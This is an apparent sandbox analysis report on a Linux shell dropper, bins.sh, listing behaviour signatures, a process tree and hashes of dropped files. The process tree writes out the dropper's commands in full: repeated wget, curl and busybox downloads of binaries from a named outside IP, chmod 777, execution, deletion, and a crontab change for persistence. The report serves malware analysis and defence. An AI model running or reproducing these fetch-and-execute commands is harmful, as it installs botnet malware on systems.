Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    15/11/2024, 23:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241115-3fd5msykfp
  • SHA256 f07fdce89f07a0877e3a9fb6bf299920e038e0524dd238c19929b4b1a2db8285
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1888) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://216.126.231.240/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • File and Directory Permissions Modification
          PID:740
        • /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          ./YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • Executes dropped EXE
          PID:741
        • /bin/rm
          rm YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
            PID:743
          • /usr/bin/wget
            wget http://216.126.231.240/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • Writes file to tmp directory
            PID:744
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            ./MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • Executes dropped EXE
            PID:748
          • /bin/rm
            rm MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
              PID:750
            • /usr/bin/wget
              wget http://216.126.231.240/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              2⤵
              • Writes file to tmp directory
              PID:751
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              2⤵
              • Writes file to tmp directory
              PID:758
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              2⤵
              • Writes file to tmp directory
              PID:773
            • /bin/chmod
              chmod 777 GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              2⤵
              • File and Directory Permissions Modification
              PID:780
            • /tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              ./GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              2⤵
              • Executes dropped EXE
              PID:781
            • /bin/rm
              rm GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
              2⤵
                PID:785
              • /usr/bin/wget
                wget http://216.126.231.240/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                2⤵
                • Writes file to tmp directory
                PID:786
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                2⤵
                • Writes file to tmp directory
                PID:799
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                2⤵
                • Writes file to tmp directory
                PID:805
              • /bin/chmod
                chmod 777 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                2⤵
                • File and Directory Permissions Modification
                PID:806
              • /tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                ./9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:807
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:809
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:810
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:811
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:812
                    • /bin/rm
                      rm 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                      2⤵
                        PID:814
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                        2⤵
                          PID:817
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                          2⤵
                            PID:818
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                            2⤵
                            • Writes file to tmp directory
                            PID:853
                          • /bin/chmod
                            chmod 777 m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                            2⤵
                            • File and Directory Permissions Modification
                            PID:904
                          • /tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                            ./m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                            2⤵
                            • Executes dropped EXE
                            PID:905
                          • /bin/rm
                            rm m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                            2⤵
                              PID:907
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                              2⤵
                                PID:908
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                2⤵
                                  PID:909
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:910
                                • /bin/chmod
                                  chmod 777 SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:911
                                • /tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                  ./SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                  2⤵
                                  • Executes dropped EXE
                                  PID:912
                                • /bin/rm
                                  rm SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                  2⤵
                                    PID:914
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                    2⤵
                                      PID:915
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                      2⤵
                                        PID:920
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:921
                                      • /bin/chmod
                                        chmod 777 Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:926
                                      • /tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                        ./Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                        2⤵
                                        • Executes dropped EXE
                                        PID:927
                                      • /bin/rm
                                        rm Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                        2⤵
                                          PID:931
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                                          2⤵
                                            PID:932
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                                            2⤵
                                              PID:934
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:935
                                            • /bin/chmod
                                              chmod 777 Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:936
                                            • /tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                                              ./Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                                              2⤵
                                              • Executes dropped EXE
                                              PID:937
                                            • /bin/rm
                                              rm Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                                              2⤵
                                                PID:939
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                                                2⤵
                                                  PID:940
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                                                  2⤵
                                                    PID:941
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:942
                                                  • /bin/chmod
                                                    chmod 777 wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:951
                                                  • /tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                                                    ./wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:952
                                                  • /bin/rm
                                                    rm wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                                                    2⤵
                                                      PID:955
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.240/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
                                                      2⤵
                                                        PID:956

                                                    Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5

                                                          • Path /tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                                                          • Size 151KB
                                                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ

                                                          • Path /tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                                                          • Size 177KB
                                                          • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN

                                                          • Path /tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
                                                          • Size 119KB
                                                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq

                                                          • Path /tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
                                                          • Size 141KB
                                                          • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC

                                                          • Path /tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                                          • Size 98KB
                                                          • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT

                                                          • Path /tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                                          • Size 112KB
                                                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk

                                                          • Path /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
                                                          • Size 99KB
                                                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG

                                                          • Path /tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                                                          • Size 117KB
                                                          • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et

                                                          • Path /tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
                                                          • Size 111KB
                                                          • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          tmp.X88FRe

                                                          • Path /var/spool/cron/crontabs/tmp.X88FRe
                                                          • Size 210B
                                                          • SHA256 5a4578c2943b7d7097165a44de9a6f6e61d3e91e9bf2a49d92ae2b6543e55fe2
                                                          • MD5 SHA1 SHA512